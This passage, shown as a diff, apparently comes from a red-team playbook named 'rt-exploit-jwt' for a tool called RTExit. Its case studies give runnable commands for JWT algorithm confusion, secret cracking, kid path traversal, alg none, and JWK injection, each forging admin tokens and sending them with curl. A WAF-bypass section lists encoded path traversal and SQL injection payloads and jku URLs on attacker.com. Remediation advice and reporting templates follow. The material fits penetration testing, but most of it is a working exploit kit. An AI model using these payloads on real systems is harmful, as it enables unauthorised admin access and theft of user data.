# Output: {"keys":[{"kty":"RSA","use":"sig","kid":"key-2024","n":"...","e":"AQAB"}]}
|
|
894
|
+
|
|
895
|
+
# Step 2: Convert to PEM
|
|
896
|
+
python3 -c "
|
|
897
|
+
import json, base64
|
|
898
|
+
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
|
|
899
|
+
from cryptography.hazmat.backends import default_backend
|
|
900
|
+
from cryptography.hazmat.primitives import serialization
|
|
901
|
+
|
|
902
|
+
with open('jwks.json') as f:
|
|
903
|
+
key = json.load(f)['keys'][0]
|
|
904
|
+
|
|
905
|
+
def b64i(s):
|
|
906
|
+
return int.from_bytes(base64.urlsafe_b64decode(s + '=='), 'big')
|
|
907
|
+
|
|
908
|
+
pub = RSAPublicNumbers(b64i(key['e']), b64i(key['n'])).public_key(default_backend())
|
|
909
|
+
print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())
|
|
910
|
+
" > public.pem
|
|
911
|
+
|
|
912
|
+
# Step 3: Confusion attack — escalate to admin
|
|
913
|
+
python3 jwt_tool.py $USER_TOKEN -X k -pk public.pem -I -pc role -pv admin -pc sub -pv 1
|
|
914
|
+
|
|
915
|
+
# Result: Admin access achieved. Access to all tenant data.
|
|
916
|
+
```
|
|
917
|
+
|
|
918
|
+
### Case 2: Banking API — Weak HS256 Secret
|
|
919
|
+
|
|
920
|
+
**Scenario**: Internal banking API used JWT with HS256. Secret was "banking2024".
|
|
921
|
+
|
|
922
|
+
```bash
|
|
923
|
+
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywicm9sZSI6ImN1c3RvbWVyIn0.SIGNATURE"
|
|
924
|
+
|
|
925
|
+
# Custom wordlist including year + company variations
|
|
926
|
+
echo -e "banking2024\nbank2024\nBanking2024!\nsecret\npassword" > custom.txt
|
|
927
|
+
hashcat -a 0 -m 16500 $TOKEN custom.txt
|
|
928
|
+
# Cracked: banking2024
|
|
929
|
+
|
|
930
|
+
# Forge admin token
|
|
931
|
+
python3 jwt_tool.py $TOKEN \
|
|
932
|
+
-I -pc role -pv admin \
|
|
933
|
+
-pc userId -pv 1 \
|
|
934
|
+
-pc exp -pv 9999999999 \
|
|
935
|
+
-S hs256 -p "banking2024"
|
|
936
|
+
|
|
937
|
+
# Access admin endpoints
|
|
938
|
+
curl -H "Authorization: Bearer $FORGED" https://api.bank.com/admin/users
|
|
939
|
+
```
|
|
940
|
+
|
|
941
|
+
### Case 3: E-commerce Platform — kid Path Traversal
|
|
942
|
+
|
|
943
|
+
**Scenario**: JWT library loaded the key file using the `kid` value as a path directly.
|
|
944
|
+
|
|
945
|
+
```bash
|
|
946
|
+
# Test path traversal
|
|
947
|
+
python3 jwt_tool.py $TOKEN \
|
|
948
|
+
-I -hc kid -hv "../../../../dev/null" \
|
|
949
|
+
-S hs256 -p ""
|
|
950
|
+
|
|
951
|
+
# Send to target
|
|
952
|
+
curl -H "Authorization: Bearer $FORGED" https://shop.target.com/api/orders?userId=1
|
|
953
|
+
# Result: Returned all orders for user ID 1 — auth bypass confirmed
|
|
954
|
+
|
|
955
|
+
# Escalate — set role to admin with empty key
|
|
956
|
+
python3 jwt_tool.py $TOKEN \
|
|
957
|
+
-I -hc kid -hv "../../../../dev/null" \
|
|
958
|
+
-pc role -pv admin \
|
|
959
|
+
-S hs256 -p ""
|
|
960
|
+
```
|
|
961
|
+
|
|
962
|
+
### Case 4: Internal API — None Algorithm
|
|
963
|
+
|
|
964
|
+
**Scenario**: Legacy API deployed internally, using a JWT library version that accepted `alg: none`.
|
|
965
|
+
|
|
966
|
+
```bash
|
|
967
|
+
python3 jwt_tool.py $TOKEN -X a -I -pc is_admin -pv true -pc sub -pv 1
|
|
968
|
+
|
|
969
|
+
# Test all none variants
|
|
970
|
+
for t in $(python3 jwt_tool.py $TOKEN -X a 2>/dev/null | grep "eyJ"); do
|
|
971
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
972
|
+
-H "Authorization: Bearer $t" \
|
|
973
|
+
https://internal-api.target.com/admin)
|
|
974
|
+
echo "Status: $STATUS for token variant"
|
|
975
|
+
done
|
|
976
|
+
```
|
|
977
|
+
|
|
978
|
+
### Case 5: SSO Platform — JWK Injection
|
|
979
|
+
|
|
980
|
+
**Scenario**: SSO platform trusted the `jwk` header parameter without validation.
|
|
981
|
+
|
|
982
|
+
```bash
|
|
983
|
+
# jwt_tool handles full JWK injection flow
|
|
984
|
+
python3 jwt_tool.py $TOKEN -X i -I -pc role -pv superadmin -pc sub -pv 1
|
|
985
|
+
|
|
986
|
+
# The tool will:
|
|
987
|
+
# 1. Generate RSA key pair
|
|
988
|
+
# 2. Embed public key as JWK in header
|
|
989
|
+
# 3. Sign token with new private key
|
|
990
|
+
# 4. Output forged token with embedded verification key
|
|
991
|
+
```
|
|
992
|
+
|
|
993
|
+
---
|
|
994
|
+
|
|
995
|
+
## 7. WAF Bypass Techniques
|
|
996
|
+
|
|
997
|
+
### Algorithm Field Bypass
|
|
998
|
+
|
|
999
|
+
```bash
|
|
1000
|
+
# Case variations
|
|
1001
|
+
alg: None
|
|
1002
|
+
alg: NONE
|
|
1003
|
+
alg: nOnE
|
|
1004
|
+
alg: NoNe
|
|
1005
|
+
|
|
1006
|
+
# Extra characters
|
|
1007
|
+
alg: "none "
|
|
1008
|
+
alg: " none"
|
|
1009
|
+
alg: "none\t"
|
|
1010
|
+
alg: "none\n"
|
|
1011
|
+
```
|
|
1012
|
+
|
|
1013
|
+
### kid Injection WAF Bypass
|
|
1014
|
+
|
|
1015
|
+
```bash
|
|
1016
|
+
# URL encoding
|
|
1017
|
+
kid: "..%2F..%2F..%2F..%2Fdev%2Fnull"
|
|
1018
|
+
|
|
1019
|
+
# Double URL encoding
|
|
1020
|
+
kid: "..%252F..%252F..%252F..%252Fdev%252Fnull"
|
|
1021
|
+
|
|
1022
|
+
# Unicode encoding
|
|
1023
|
+
kid: "..%u002F..%u002F..%u002Fdev%u002Fnull"
|
|
1024
|
+
|
|
1025
|
+
# Mixed slash types
|
|
1026
|
+
kid: "....//....//....//dev//null"
|
|
1027
|
+
kid: "..\/..\/..\/dev\/null"
|
|
1028
|
+
|
|
1029
|
+
# Null byte injection
|
|
1030
|
+
kid: "..%00/..%00/..%00/dev/null"
|
|
1031
|
+
|
|
1032
|
+
# SQL injection WAF bypass (case variation)
|
|
1033
|
+
kid: "' UnIoN SeLeCt 'pwned'-- -"
|
|
1034
|
+
kid: "' /*!UNION*/ SELECT 'pwned'-- -"
|
|
1035
|
+
kid: "' UNION%20SELECT 'pwned'-- -"
|
|
1036
|
+
```
|
|
1037
|
+
|
|
1038
|
+
### JWT Size Bypass
|
|
1039
|
+
|
|
1040
|
+
```bash
|
|
1041
|
+
# Add junk claims to inflate token size and confuse size-based WAFs
|
|
1042
|
+
python3 jwt_tool.py $TOKEN -I \
|
|
1043
|
+
-pc role -pv admin \
|
|
1044
|
+
-pc junk1 -pv "$(python3 -c "print('A'*100)")" \
|
|
1045
|
+
-S hs256 -p "secret"
|
|
1046
|
+
```
|
|
1047
|
+
|
|
1048
|
+
### HTTP Header Injection Bypass
|
|
1049
|
+
|
|
1050
|
+
```bash
|
|
1051
|
+
# If WAF inspects Authorization header, try alternatives
|
|
1052
|
+
curl -H "X-Auth-Token: $FORGED" https://target.com/api/admin
|
|
1053
|
+
curl -H "X-JWT-Token: $FORGED" https://target.com/api/admin
|
|
1054
|
+
curl -H "JWT: $FORGED" https://target.com/api/admin
|
|
1055
|
+
|
|
1056
|
+
# Cookie-based
|
|
1057
|
+
curl -b "token=$FORGED" https://target.com/api/admin
|
|
1058
|
+
curl -b "jwt=$FORGED" https://target.com/api/admin
|
|
1059
|
+
curl -b "auth=$FORGED" https://target.com/api/admin
|
|
1060
|
+
|
|
1061
|
+
# Try in request body
|
|
1062
|
+
curl -X POST https://target.com/api/admin \
|
|
1063
|
+
-H "Content-Type: application/json" \
|
|
1064
|
+
-d "{\"token\":\"$FORGED\"}"
|
|
1065
|
+
```
|
|
1066
|
+
|
|
1067
|
+
### JWKS URL WAF Bypass
|
|
1068
|
+
|
|
1069
|
+
```bash
|
|
1070
|
+
# If WAF only allows target.com in jku
|
|
1071
|
+
# Try open redirect on the target
|
|
1072
|
+
jku: "https://target.com/redirect?url=https://attacker.com/jwks.json"
|
|
1073
|
+
|
|
1074
|
+
# Path confusion
|
|
1075
|
+
jku: "https://target.com@attacker.com/jwks.json"
|
|
1076
|
+
jku: "https://target.com.attacker.com/jwks.json"
|
|
1077
|
+
jku: "https://attacker.com/jwks.json?origin=target.com"
|
|
1078
|
+
|
|
1079
|
+
# Subdomain takeover (if applicable)
|
|
1080
|
+
jku: "https://stale-cname.target.com/jwks.json"
|
|
1081
|
+
```
|
|
1082
|
+
|
|
1083
|
+
---
|
|
1084
|
+
|
|
1085
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1086
|
+
|
|
1087
|
+
### Structured Finding Output
|
|
1088
|
+
|
|
1089
|
+
When a JWT vulnerability is confirmed, output a structured finding for the RTExit autodoc engine:
|
|
1090
|
+
|
|
1091
|
+
```bash
|
|
1092
|
+
# RTExit finding template
|
|
1093
|
+
cat > finding_jwt_$(date +%Y%m%d_%H%M%S).json << EOF
|
|
1094
|
+
{
|
|
1095
|
+
"skill": "rt-exploit-jwt",
|
|
1096
|
+
"finding_type": "authentication_bypass",
|
|
1097
|
+
"severity": "CRITICAL",
|
|
1098
|
+
"cvss_score": 9.8,
|
|
1099
|
+
"title": "JWT Algorithm Confusion — RS256 to HS256",
|
|
1100
|
+
"target": "https://api.target.com",
|
|
1101
|
+
"affected_endpoint": "/api/v1/admin",
|
|
1102
|
+
"description": "The application's JWT library accepts tokens signed with HS256 using the RSA public key as the HMAC secret. An attacker can forge arbitrary JWTs by switching the algorithm from RS256 to HS256 and signing with the publicly available RSA public key.",
|
|
1103
|
+
"impact": "Complete authentication bypass. Privilege escalation to administrative role. Access to all user data.",
|
|
1104
|
+
"evidence": {
|
|
1105
|
+
"original_token": "$TOKEN",
|
|
1106
|
+
"forged_token": "$FORGED_TOKEN",
|
|
1107
|
+
"original_claims": {"sub": "user_123", "role": "user"},
|
|
1108
|
+
"forged_claims": {"sub": "1", "role": "admin"},
|
|
1109
|
+
"http_request": "GET /api/v1/admin HTTP/1.1\nAuthorization: Bearer $FORGED_TOKEN",
|
|
1110
|
+
"http_response_status": 200,
|
|
1111
|
+
"http_response_excerpt": "{ \"users\": [...] }"
|
|
1112
|
+
},
|
|
1113
|
+
"remediation": "Validate the 'alg' header against an allowlist. Reject tokens with unexpected algorithm values. Use a dedicated JWT library configured to only accept the expected algorithm.",
|
|
1114
|
+
"references": [
|
|
1115
|
+
"https://portswigger.net/web-security/jwt",
|
|
1116
|
+
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9235",
|
|
1117
|
+
"https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/"
|
|
1118
|
+
],
|
|
1119
|
+
"timestamp": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
|
|
1120
|
+
"operator": "$USER"
|
|
1121
|
+
}
|
|
1122
|
+
EOF
|
|
1123
|
+
```
|
|
1124
|
+
|
|
1125
|
+
### RTExit Autodoc Integration Script
|
|
1126
|
+
|
|
1127
|
+
```python
|
|
1128
|
+
#!/usr/bin/env python3
|
|
1129
|
+
"""
|
|
1130
|
+
rt_jwt_autodoc.py — Automate JWT finding documentation for RTExit
|
|
1131
|
+
"""
|
|
1132
|
+
import json, os, subprocess, sys
|
|
1133
|
+
from datetime import datetime
|
|
1134
|
+
|
|
1135
|
+
FINDING_TEMPLATE = {
|
|
1136
|
+
"skill": "rt-exploit-jwt",
|
|
1137
|
+
"finding_type": None,
|
|
1138
|
+
"severity": None,
|
|
1139
|
+
"title": None,
|
|
1140
|
+
"target": None,
|
|
1141
|
+
"affected_endpoint": None,
|
|
1142
|
+
"description": None,
|
|
1143
|
+
"impact": None,
|
|
1144
|
+
"evidence": {},
|
|
1145
|
+
"remediation": None,
|
|
1146
|
+
"references": [],
|
|
1147
|
+
"timestamp": datetime.utcnow().isoformat() + "Z"
|
|
1148
|
+
}
|
|
1149
|
+
|
|
1150
|
+
ATTACK_REMEDIATION = {
|
|
1151
|
+
"none_algorithm": "Explicitly validate and reject tokens with 'alg: none'. Use an allowlist of permitted algorithms.",
|
|
1152
|
+
"algorithm_confusion": "Use a single, fixed algorithm. Never derive verification method from the token header. Use separate key objects per algorithm.",
|
|
1153
|
+
"weak_secret": "Use cryptographically random secrets of at least 256 bits. Prefer asymmetric algorithms (RS256, ES256) for production.",
|
|
1154
|
+
"kid_sqli": "Use parameterized queries when loading keys by kid. Validate kid against an allowlist of known key IDs.",
|
|
1155
|
+
"kid_traversal": "Validate kid header against an allowlist. Never use kid as a file path directly.",
|
|
1156
|
+
"jwk_injection": "Ignore the 'jwk' header. Use a pre-configured, trusted key set for verification.",
|
|
1157
|
+
"jku_injection": "Ignore the 'jku' header or validate it against an allowlist of trusted key set URLs.",
|
|
1158
|
+
}
|
|
1159
|
+
|
|
1160
|
+
def document_finding(attack_type, target, endpoint, original_token, forged_token, response_evidence):
|
|
1161
|
+
finding = FINDING_TEMPLATE.copy()
|
|
1162
|
+
finding["finding_type"] = attack_type
|
|
1163
|
+
finding["target"] = target
|
|
1164
|
+
finding["affected_endpoint"] = endpoint
|
|
1165
|
+
finding["remediation"] = ATTACK_REMEDIATION.get(attack_type, "Review JWT implementation.")
|
|
1166
|
+
finding["evidence"] = {
|
|
1167
|
+
"original_token": original_token,
|
|
1168
|
+
"forged_token": forged_token,
|
|
1169
|
+
"response": response_evidence
|
|
1170
|
+
}
|
|
1171
|
+
|
|
1172
|
+
filename = f"finding_jwt_{attack_type}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
|
|
1173
|
+
with open(filename, 'w') as f:
|
|
1174
|
+
json.dump(finding, f, indent=2)
|
|
1175
|
+
print(f"[+] Finding documented: {filename}")
|
|
1176
|
+
return filename
|
|
1177
|
+
|
|
1178
|
+
if __name__ == "__main__":
|
|
1179
|
+
# Example usage
|
|
1180
|
+
document_finding(
|
|
1181
|
+
attack_type="algorithm_confusion",
|
|
1182
|
+
target="https://api.target.com",
|
|
1183
|
+
endpoint="/api/v1/admin",
|
|
1184
|
+
original_token="eyJ...",
|
|
1185
|
+
forged_token="eyJ...",
|
|
1186
|
+
response_evidence="HTTP 200 OK — Admin panel returned"
|
|
1187
|
+
)
|
|
1188
|
+
```
|
|
1189
|
+
|
|
1190
|
+
### Environment Variables for RTExit
|
|
1191
|
+
|
|
1192
|
+
```bash
|
|
1193
|
+
# Set these before running JWT attacks for autodoc integration
|
|
1194
|
+
export RTEXIT_TARGET="https://api.target.com"
|
|
1195
|
+
export RTEXIT_ENGAGEMENT="ENG-2024-001"
|
|
1196
|
+
export RTEXIT_OPERATOR=$(whoami)
|
|
1197
|
+
export RTEXIT_OUTPUT_DIR="./findings/jwt"
|
|
1198
|
+
mkdir -p $RTEXIT_OUTPUT_DIR
|
|
1199
|
+
|
|
1200
|
+
# Run jwt_tool and pipe to RTExit logger
|
|
1201
|
+
python3 jwt_tool.py $TOKEN --scan \
|
|
1202
|
+
-t $RTEXIT_TARGET/api/protected \
|
|
1203
|
+
-rh "Authorization: Bearer $TOKEN" \
|
|
1204
|
+
-o json 2>&1 | tee $RTEXIT_OUTPUT_DIR/scan_$(date +%Y%m%d_%H%M%S).json
|
|
1205
|
+
```
|
|
1206
|
+
|
|
1207
|
+
---
|
|
1208
|
+
|
|
1209
|
+
## 9. Output and Documentation Instructions
|
|
1210
|
+
|
|
1211
|
+
### Evidence Collection Standards
|
|
1212
|
+
|
|
1213
|
+
Every JWT attack must be documented with:
|
|
1214
|
+
|
|
1215
|
+
1. **Original token** (captured from the application)
|
|
1216
|
+
2. **Decoded header and payload** (output from jwt_tool -p)
|
|
1217
|
+
3. **Attack command** (exact command used)
|
|
1218
|
+
4. **Forged token** (output of the attack)
|
|
1219
|
+
5. **Proof of exploitation** (HTTP request and response showing the forged token was accepted)
|
|
1220
|
+
6. **Impact statement** (what data/function was accessible)
|
|
1221
|
+
|
|
1222
|
+
### Capturing Evidence
|
|
1223
|
+
|
|
1224
|
+
```bash
|
|
1225
|
+
# Decode and save token inspection
|
|
1226
|
+
python3 jwt_tool.py $TOKEN -p > evidence/token_decoded.txt 2>&1
|
|
1227
|
+
|
|
1228
|
+
# Run attack and capture output
|
|
1229
|
+
python3 jwt_tool.py $TOKEN -X k -pk public.pem \
|
|
1230
|
+
-I -pc role -pv admin \
|
|
1231
|
+
2>&1 | tee evidence/attack_output.txt
|
|
1232
|
+
|
|
1233
|
+
# Capture HTTP response
|
|
1234
|
+
FORGED=$(python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc role -pv admin 2>&1 | grep "^eyJ" | tail -1)
|
|
1235
|
+
|
|
1236
|
+
curl -v -H "Authorization: Bearer $FORGED" \
|
|
1237
|
+
https://target.com/api/admin \
|
|
1238
|
+
2>&1 | tee evidence/http_response.txt
|
|
1239
|
+
|
|
1240
|
+
# Screenshot (if using headless browser)
|
|
1241
|
+
chromium --headless --screenshot=evidence/screenshot.png \
|
|
1242
|
+
--extra-headers="Authorization: Bearer $FORGED" \
|
|
1243
|
+
https://target.com/admin
|
|
1244
|
+
```
|
|
1245
|
+
|
|
1246
|
+
### Severity Rating Guide
|
|
1247
|
+
|
|
1248
|
+
| Attack | Base Severity | Escalation Conditions |
|
|
1249
|
+
|---|---|---|
|
|
1250
|
+
| None algorithm — auth bypass | CRITICAL | Always |
|
|
1251
|
+
| Algorithm confusion — privilege escalation | CRITICAL | Always |
|
|
1252
|
+
| Weak secret — token forgery | CRITICAL | If admin claim achievable |
|
|
1253
|
+
| kid SQL injection | CRITICAL | If schema exfiltration possible |
|
|
1254
|
+
| kid path traversal — /dev/null | HIGH | Depends on data accessed |
|
|
1255
|
+
| JWK injection | HIGH-CRITICAL | Depends on privilege achieved |
|
|
1256
|
+
| jku/x5u injection | HIGH-CRITICAL | Depends on privilege achieved |
|
|
1257
|
+
| Expiry manipulation | MEDIUM | Extends session only |
|
|
1258
|
+
|
|
1259
|
+
### Remediation Recommendations Template
|
|
1260
|
+
|
|
1261
|
+
```markdown
|
|
1262
|
+
## Remediation Recommendations — JWT Implementation
|
|
1263
|
+
|
|
1264
|
+
### Immediate Actions (Critical)
|
|
1265
|
+
1. Rotate all signing keys immediately
|
|
1266
|
+
2. Invalidate all existing JWT sessions
|
|
1267
|
+
3. Update the JWT library to the latest version
|
|
1268
|
+
|
|
1269
|
+
### Short-term Fixes (within 1 sprint)
|
|
1270
|
+
1. Enforce algorithm allowlist: only accept RS256 or HS256 — never both
|
|
1271
|
+
2. Validate `kid` against a pre-configured map of known key IDs
|
|
1272
|
+
3. Ignore `jwk`, `jku`, `x5u` header parameters in token verification
|
|
1273
|
+
4. Use minimum 256-bit random secrets for HMAC algorithms
|
|
1274
|
+
|
|
1275
|
+
### Long-term Security Posture
|
|
1276
|
+
1. Implement JWT revocation (short expiry + refresh token rotation)
|
|
1277
|
+
2. Add monitoring for algorithm downgrade attempts
|
|
1278
|
+
3. Conduct annual JWT implementation review
|
|
1279
|
+
4. Consider moving to opaque session tokens for internal APIs
|
|
1280
|
+
```
|
|
1281
|
+
|
|
1282
|
+
---
|
|
1283
|
+
|
|
1284
|
+
## 10. Resources
|
|
1285
|
+
|
|
1286
|
+
### Primary Tools
|
|
1287
|
+
|
|
1288
|
+
- **jwt_tool** — https://github.com/ticarpi/jwt_tool
|
|
1289
|
+
- **hashcat** — https://github.com/hashcat/hashcat
|
|
1290
|
+
- **PyJWT** — https://github.com/jpadilla/pyjwt
|
|
1291
|
+
- **python-jose** — https://github.com/mpdavis/python-jose
|
|
1292
|
+
- **jose (npm)** — https://github.com/panva/jose
|
|
1293
|
+
|
|
1294
|
+
### Wordlists
|
|
1295
|
+
|
|
1296
|
+
- **jwt-secrets** — https://github.com/wallarm/jwt-secrets
|
|
1297
|
+
- **SecLists JWT** — https://github.com/danielmiessler/SecLists/tree/master/Passwords/scraped-JWT-secrets.txt
|
|
1298
|
+
- **rockyou** — standard inclusion in Kali Linux
|
|
1299
|
+
|
|
1300
|
+
### References and Research
|
|
1301
|
+
|
|
1302
|
+
- **PortSwigger JWT Labs** — https://portswigger.net/web-security/jwt
|
|
1303
|
+
- **JWT Attack Cheatsheet** — https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens
|
|
1304
|
+
- **Auth0 Critical Vulnerabilities** — https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
|
|
1305
|
+
- **RFC 7519 (JWT)** — https://datatracker.ietf.org/doc/html/rfc7519
|
|
1306
|
+
- **RFC 7517 (JWK)** — https://datatracker.ietf.org/doc/html/rfc7517
|
|
1307
|
+
- **RFC 7518 (JWA)** — https://datatracker.ietf.org/doc/html/rfc7518
|
|
1308
|
+
- **CVE-2015-9235** — none algorithm bypass in node-jsonwebtoken
|
|
1309
|
+
- **CVE-2022-21449** — ECDSA signature bypass (Psychic Signatures) in Java
|
|
1310
|
+
- **Attacking JWT** (Inon Shkedy) — https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe1c862ea
|
|
1311
|
+
|
|
1312
|
+
### Lab Environments
|
|
1313
|
+
|
|
1314
|
+
- **PortSwigger Web Security Academy** — https://portswigger.net/web-security/jwt (free labs)
|
|
1315
|
+
- **DVJA (Damn Vulnerable JWT App)** — https://github.com/cyberw0lf/dvja
|
|
1316
|
+
- **jwt-security-research** — https://github.com/ticarpi/jwt_tool/wiki
|
|
1317
|
+
|
|
1318
|
+
### CVE Reference for Reports
|
|
1319
|
+
|
|
1320
|
+
| CVE | Description | Affected |
|
|
1321
|
+
|---|---|---|
|
|
1322
|
+
| CVE-2015-9235 | none algorithm bypass | node-jsonwebtoken < 4.2.2 |
|
|
1323
|
+
| CVE-2016-10555 | RS/ES to HS confusion | node-jsonwebtoken |
|
|
1324
|
+
| CVE-2018-0114 | Key confusion | Cisco node-jose |
|
|
1325
|
+
| CVE-2019-7644 | Auth0 jwt-simple signature bypass | jwt-simple < 0.5.6 |
|
|
1326
|
+
| CVE-2022-21449 | ECDSA blank signature (Psychic Signatures) | Java <= 15.0.6, 17.0.2 |
|
|
1327
|
+
| CVE-2024-21501 | algorithm confusion | jsonwebtoken < 9.0.0 |
|